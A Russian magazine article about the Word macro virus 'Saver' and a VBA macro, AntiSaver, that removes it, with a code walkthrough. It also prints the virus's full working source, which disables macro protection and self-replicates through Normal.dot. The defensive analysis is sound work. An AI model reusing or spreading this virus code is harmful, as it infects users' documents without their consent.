Отловил недавно интересный Wordовский макровирус, Saver называется. DrWeb его не взял, поэтому предлагаю макроантивирус для макровируса.


Вирус активизируется посредством автомакросов AutoNew, AutoOpen, AutoClose, срабатывающих при соответствующих событиях. Процедура заражения запускается при открытии документа. Вирус копирует себя в виде модуля проекта с именем “Saver” из активного документа в Normal.dot, а затем из Normal.dot в активный документ. При создании или открытии документа в каталоге программы создается подкаталог “\Doc_Copy”, куда помещаются копии зараженных файлов. Свое тело “в чистом виде” вирус прячет в создающемся при первом заражении документе под именем saver.dll в каталоге программы. Собственно вредное действие происходит при закрытии документа. Через автомакрос AutoClose вирус перехватывает событие “закрытие”, метит текущий документ как несохраненный, затем сохраняет его с копированием в каталог “\Doc_Copy” и удаляет ссылку на копию из списка ранее открытых файлов. Таким образом, файл сохраняется без подтверждения пользователя, даже если в нем были сделаны не требующие сохранения изменения.

Почему DrWeb не нашел вирус? Причина проста. Большинство макровирусов в качестве признака зараженности документа используют сигнатуру — комментарий или характерный код, находящийся непосредственно в теле вируса. Если вирус не находит в строго определенном месте программного модуля документа свою сигнатуру, он замещает содержимое модуля своим кодом. Эту же сигнатуру ищет и антивирус, но в случае с Saver это не срабатывает. Единственным признаком заражения является наличие в семействе VBComponents модуля с именем “Saver”, да и то вирус не проверяет этот признак, просто копируя свой модуль в проект. Антивирус же просто не способен отличить модуль Saver от любого другого вполне добропорядочного компонента.

 

Если на жестком диске находится всего десяток-другой .doc-файлов, вполне можно поудалять из них модули Saver вручную, при этом не забывая при каждом открытии документа таким же образом “лечить” Normal.dot. Но если имеется несколько тысяч документов (как в нашем случае), то такая война с вирусом приобретет затяжной характер с элементами сизифова труда. Простейший выход — написать специализированный антивирус.

 

Предлагаемое здесь программное решение выполнено в виде макроса на VBA. Конечно, писать антивирус в виде макроса для Word, а не “нормального” .exe-файла — шаг несколько авантюрный. Аргументом в его пользу (кроме нездорового духа экспериментаторства) может служить мощная объектная структура документа Word, оперировать которой, согласитесь, значительно удобнее, чем последовательностями байтов.

 

Главная процедура AntiSaver (cтрока 9) после инициализации переменных уровня модуля (строки 16-20) закрывает все открытые документы и отключает выполнение автомакросов (строки 23-28). Вирус, заражающий механизм которого запускается через автомакросы, таким образом не будет активизироваться при открытии зараженных документов в процессе лечения. В строках 31-37 происходит поиск модуля “Saver” в Normal.dot и, в случае нахождения — удаление.

 

Задача вызываемой в строке 39 функции BuildFileList — сформировать список файлов *.doc на всех доступных дисках; но для этого сначала надо определить доступные диски. Поскольку Visual Basic для Word не предусматривает стандартных функций для таких целей, приходится идти окольным путем. Цикл (строки 138-152) перебирает возможные имена дисков в системе (буквы A-Z). В строках 141-142 происходит попытка сделать текущим диск и каталог с именем, соответствующим текущей букве цикла. Если попытка удачна, значит диск с таким именем существует, и имя корневого каталога этого диска заносится в массив PathArray (строки 155-160). Затем массив перебирается (строки 155-172) и его элементы поочередно указываются в качестве пути (свойство LookIn) для поиска файлов *.doc с помощью стандартного объекта Application.FileSearch. Вложенный цикл (строки 164-170) перебирает результаты поиска (объект FounFiles) и добавляет их в массив FilesArray.

 

По возвращению в основную процедуру начинается перебор всех файлов по именам из массива FilesArray (строка 42). После открытия (строка 46) файл проверяется на зараженность функцией Check посредством перебора семейства VBComponents (строки 120-127). Если найден модуль с именем “Saver”, функция возвращает его порядковый номер в семействе и наращивает счетчик Infected (строка 128); в противном случае возвращается 0. Количество вызовов Check подсчитывается в переменной Checked (строка 132). Возвращенное значение в главной процедуре присваивается переменной discr (строка 55). В случае зараженности файла (discr <>0) происходит проверка свойства документа ReadOnly и наличия атрибута “только чтение”. Для этого необходимо предварительно сделать текущим каталог с проверяемым файлом (строки 51-52), иначе встроенная функция GetAttr может возвратить неверное значение. Если проверка не пройдена и сохранение файла невозможно, имя файла добавляется в массив NotCured и наращивается счетчик Skipped (строки 59-66); в случае удачной проверки из файла удаляется модуль с порядковым номером, возвращенным функцией Check, происходит сохранение файла и автоинкремент счетчика Cured (строки 68-76). Затем, независимо от результатов лечения, файл закрывается (строки 79-81).

 

В строках 86-89 происходит поиск содержащего тело вируса файла saver.dll; обнаруженный файл удаляется с помощью встроенной функции Kill. И, наконец, на основе значений переменных Checked, Infected, Skipped, Cured и массива NotCured формируется и выводится сообщение с результатами работы (строки 92-109).

 

Приведенный здесь код вряд ли можно назвать настоящим антивирусом. Это, скорее, ликвидатор последствий заражения, да и то очень узконаправленный: уничтожает только один вирус. На то были обстоятельства: требовалось быстро проверить десяток компьютеров с тысячами документов и активным их обменом, найти и удалить один четко определенный вирус, против которого спасовал DrWeb. Однако при необходимости данную программу можно модифицировать, сделать более гибкой и “умной”. И такая необходимость вполне может возникнуть, благодаря достойному лучшего применения усердию создателей макровирусов.


P.S. Более-менее откомментированный исходник вируса на всякий случай прилагаю. Степень умственного развития его автора оставляю без комментариев.


Листинг 1. AntiSaver


Option Compare Text

Private PathArray() As String 'массив для дерева каталогов

Private FilesArray() As String 'список файлов .doc

Private NotCured() As String 'список невылеченных файлов

Private Checked As Integer 'счетчик проверенных

Private Infected As Integer 'счетчик зараженных

Private Cured As Integer 'счетчик вылеченных

Private Skipped As Integer 'счетчик пропущенных

Sub AntiSaver()

10: Dim i As Integer 'итератор файлов

11: Dim discr As Integer 'номер модуля c вирусом

12: Dim DLLpath As String 'путь к фальшивому .dll-файлу

13: Dim LastMsg As String 'строка отчета

14: ReDim NotCured(0)

15: ReDim PathArray(0) 'массив доступных дисков

16: ReDim FilesArray(0) 'массив отобранных файлов

17: Checked = 0

18: Cured = 0

19: Infected = 0

20: Skipped = 0

21: On Error Resume Next

22: 'закрытие открытых файлов

23: For i = 1 To Documents.Count

24: If Documents(i).FullName <> ThisDocument.FullName Then

25: Documents(i).Close SaveChanges:=wdSaveChanges

26: End If

27: Next i

28: WordBasic.DisableAutoMacros 'отключает автомакросы

29: 'проверяет Normal, перебирая его модули

30: 'если находит модуль saver -- удаляет

31: For i = 1 To NormalTemplate.VBProject.VBComponents.Count

32: If NormalTemplate.VBProject.VBComponents.Item(i).Name = "saver" Then

33: NormalTemplate.VBProject.VBComponents.Remove _

NormalTemplate.VBProject.VBComponents.Item(i)

35: NormalTemplate.Save

36: End If

37: Next i

38: 'вызов функции, создающей список файлов *.doc

39: BuildFileList

40:

41: 'начинается цикл перебора имен файлов *.doc

42: For i = 0 To UBound(FilesArray)

43: 'открывает файл, если его имя не является именем

44: 'файла с этой программой

45: If FilesArray(i) <> ThisDocument.FullName Then

46: Documents.Open FilesArray(i), False, False, False

47: End If

48: 'После открытия устанавливает текущий диск и каталог.

49: 'Если этого не сделать, возможна некорректная работа

50: 'функции GetAttr()

51: ChDrive (Left(Documents(FilesArray(i)).Path, 1))

52: ChDir (Documents(FilesArray(i)).Path)

53: 'очередной файл открыт

54: 'Функция Check() присваивает переменной discr номер зараженного

55: discr = Check(FilesArray(i)) 'модуля в открытом документе

56: If discr <> 0 Then

57: 'если файл имеет Word`овский или системный атрибут "только чтение"

58: 'то его имя добавляется в массив NotCured, а сам он пропускается

59: If (Documents(FilesArray(i)).ReadOnly = True _

Or ((GetAttr(Documents(FilesArray(i))) And vbReadOnly) = vbReadOnly)) Then

61: If NotCured(UBound(NotCured)) <> "" Then

62: 'увеличение границы массива

63: ReDim Preserve NotCured(UBound(NotCured) + 1)

64: End If

65: NotCured(UBound(NotCured)) = FilesArray(i)

66: Skipped = Skipped + 1 'счетчик пропущенных

67: '

68: Else

69: 'удаление из файла модуля с номером, возвращенным функцией Check

70: Documents(FilesArray(i)).VBProject.VBComponents.Remove _

Documents(FilesArray(i)).VBProject.VBComponents.Item(discr)

72: 'сохранение вылеченного файла

73: Documents(FilesArray(i)).Save

74: Cured = Cured + 1 'счетчик вылеченных

75: End If

76: End If

77: '

78: 'закрывает файл, если его имя не является именем

79: 'файла с этой программой

80: If FilesArray(i) <> ThisDocument.FullName Then

81: Documents(FilesArray(i)).Close

82: End If

83: Next i

84: '

85: 'удаляет фальшивый .dll-файл с телом вируса

86: DLLpath = Word.Application.Path & "\saver.dll"

87: If Dir(DLLpath) <> "" Then

88: Kill DLLpath

89: End If

90: '

91: 'формирование сообщения-отчета

92: LastMsg = " Результаты работы AntiSaver:" & vbCrLf & vbCrLf

93: LastMsg = LastMsg & "Проверено файлов:" & vbTab & vbTab & Checked & vbCrLf

94: LastMsg = LastMsg & "Из них заражено:" & vbTab & vbTab & vbTab & Infected & vbCrLf

95: LastMsg = LastMsg & "Вылечено:" & vbTab & vbTab & vbTab & Cured & vbCrLf

96: LastMsg = LastMsg & "Пропущено:" & vbTab & vbTab & vbTab & Skipped & vbCrLf

97: 'если список пропущенных не пустой, добавление его в отчет

98: If Skipped > 0 Then

99: LastMsg = LastMsg & vbCrLf & "Эти файлы остались невылеченными," _

& vbCrLf _

& "поскольку к ним был доступ только для чтения." & vbCrLf & vbCrLf

102: For i = 0 To UBound(NotCured)

103: LastMsg = LastMsg & NotCured(i) & vbCrLf

104: Next i

105: LastMsg = LastMsg & vbCrLf & "Рекомендуем удалить эти файлы," _

& vbCrLf & "или снять в них атрибут 'Read-only'" _

& vbCrLf & "и повторить процедуру."

108: End If

109: MsgBox LastMsg, vbExclamation, "AntiSaver" 'вывод сообщения

110: End Sub

Function Check(FileName As String) As Integer

113: 'получает имя файла, проверяет его на зараженность, если не заражен,

114: 'возвращает 0, если заражен -- номер модуля с именем "saver"

115: '

116: Dim i As Integer 'итератор модулей в документе

117: Check = 0 'значение по умолчанию

118: '

119: 'перебор семейства VBComponents, поиск модуля "saver"

120: For i = 1 To Documents(FileName).VBProject.VBComponents.Count

121: If Documents(FileName).VBProject.VBComponents.Item(i).Name = "saver" Then

122: '

123: Check = i 'если нашел,возвращает номер

124: Infected = Infected + 1 'зараженного модуля, увеличивает счетчик

125: Exit For 'зараженных и выходит из цикла

126: End If

127: Next i

128: Checked = Checked + 1 'счетчик проверенных

129: End Function

Private Sub BuildFileList()

132: On Error Resume Next

133: ReDim PathArray(0) 'массив доступных дисков

134: ReDim FilesArray(0) 'массив отобранных файлов

135: Dim a As Integer 'для перебора букв-имен дисков

136: Dim DrivePath As String 'имя текущего диска

137: 'ищет все активные диски, перебирая их возможные имена

138: For a = 65 To 90 'A-Z

139: DrivePath = Chr(a) + ":\"

140: 'пытается задать текущий диск и каталог

141: ChDrive (DrivePath)

142: ChDir (DrivePath)

143: 'если имя текущего каталога соответствует заданной букве --

144: 'имени диска, значит текущий каталог изменился, следовательно

145: 'диск с таким именем существует и доступен

146: If DrivePath = CurDir Then

147: If PathArray(UBound(PathArray)) <> "" Then

148: ReDim Preserve PathArray(UBound(PathArray) + 1)

149: End If

150: PathArray(UBound(PathArray)) = DrivePath

151: End If

152: Next a

153: 'с помощью объекта Application.FileSearch ищет

154: 'все файлы *.doc на всех дисках

155: For a = 0 To UBound(PathArray) 'перебор дисков

156: With Application.FileSearch 'условия поиска

157: .NewSearch

158: .LookIn = PathArray(a)

159: .FileType = msoFileTypeWordDocuments

160: .FileName = "*.doc"

161: .SearchSubFolders = True

162: .Execute msoSortByFileName, msoSortOrderAscending, True

163: 'перебирает найденные файлы и ...

164: For i = 1 To .FoundFiles.Count

165: If FilesArray(UBound(FilesArray)) <> "" Then

166: ReDim Preserve FilesArray(UBound(FilesArray) + 1)

167: End If

168: '...заносит их имена в массив FilesArray

169: FilesArray(UBound(FilesArray)) = .FoundFiles(i)

170: Next i

171: End With

172: Next a

173: End Sub 'список файлов готов

 

Листинг 2. Saver


Sub Mac(dr)

If (Dir(dr, vbDirectory) = "") Then MkDir (dr)

End Sub

Sub Setup()

Word.Options.VirusProtection = False 'выключает защиту

On Error Resume Next

If Word.ActiveDocument.Name = "saver.dll" Then MsgBox "Saver!"

zz = Word.ActiveDocument.FullName

'копирует себя из активного документа в Normal.dot

Application.OrganizerCopy Source:=zz, _

Destination:=Normal.ThisDocument.FullName, Name:="Saver", _

Object:=wdOrganizerObjectProjectItems

'копирует себя из Normal.dot в активный документ

Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _

Destination:=zz, Name:="Saver", _

Object:=wdOrganizerObjectProjectItems

yy = Word.Application.Path + "\saver.dll"

If (Dir(yy) = "") Then 'если не существует

Application.Documents.Add 'saver.dll,создает новый

Application.Documents(1).SaveAs (yy) 'документ, сохраняет его

Application.Documents(1).Close SaveChanges:=False 'как saver.dll, закрывает

Word.RecentFiles.Item(1).Delete 'и удаляет из списка

End If 'RecentFiles

'копируется из Normal в saver.dll

Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _

Destination:=yy, Name:="Saver", _

Object:=wdOrganizerObjectProjectItems

'копируется из активного в saver.dll

Application.OrganizerCopy Source:=zz, _

Destination:=yy, Name:="Saver", _

Object:=wdOrganizerObjectProjectItems

'копируется из saver.dll в активный документ

Application.OrganizerCopy Source:=yy, _

Destination:=zz, Name:="Saver", _

Object:=wdOrganizerObjectProjectItems

End Sub

Sub AutoNew()

dr = Word.Application.Path + "\Doc_Copy" 'создает подкаталог

Mac (dr) 'Doc_Copy

End Sub 'в каталоге Word

Sub AutoOpen()

Setup

dr = Word.Application.Path + "\Doc_Copy" 'создает подкаталог

Mac (dr) 'Doc_Copy

If Word.ActiveDocument.Name = "saver.dll" Then Word.ActiveDocument.Close 'в каталоге Word

End Sub

Sub AutoClose()

dr = Word.Application.Path + "\Doc_Copy"

Pat = dr + "\" + ActiveDocument.Name

If Word.ActiveDocument.Name <> "saver.dll" Then

On Error Resume Next

ActiveDocument.Saved = False 'вот оно,

ActiveDocument.Save 'вредное действие!

ActiveDocument.SaveAs (Pat) 'сохраняет активный

End If 'документ в \Doc_Copy

Word.RecentFiles.Item(1).Delete 'и удаляется из Recent

End Sub

2004.04.13
19.03.2009
В IV квартале 2008 г. украинский рынок серверов по сравнению с аналогичным периодом прошлого года сократился в денежном выражении на 34% – до $30 млн (в ценах для конечных пользователей), а за весь календарный год – более чем на 5%, до 132 млн долл.


12.03.2009
4 марта в Киеве компания Telco провела конференцию "Инновационные телекоммуникации", посвященную новым эффективным телекоммуникационным технологиям для решения задач современного бизнеса.


05.03.2009
25 февраля в Киеве компания IBM, при информационной поддержке "1С" и Canonical, провела конференцию "Как сохранить деньги в условиях кризиса?"


26.02.2009
18-19 февраля в Киеве прошел юбилейный съезд ИТ-директоров Украины. Участниками данного мероприятия стали ИТ-директора, ИТ-менеджеры, поставщики ИТ-решений из Киева, Николаева, Днепропетровска, Чернигова и других городов Украины...


19.02.2009
10 февраля в Киеве состоялась пресс-конференция, посвященная итогам деятельности компании "DiaWest – Комп’ютерний світ" в 2008 году.


12.02.2009
С 5 февраля 2009 г. в Киеве начали работу учебные курсы по использованию услуг "электронного предприятия/ учреждения" на базе сети информационно-маркетинговых центров (ИМЦ).


04.02.2009
29 января 2009 года в редакции еженедельника "Computer World/Украина" состоялось награждение победителей акции "Оформи подписку – получи приз!".


29.01.2009
22 января в Киеве компания "МУК" и представительство компании Cisco в Украине провели семинар для партнеров "Обзор продуктов и решений Cisco Small Business"

 

 
 
Copyright © 1997-2008 ИД "Комиздат".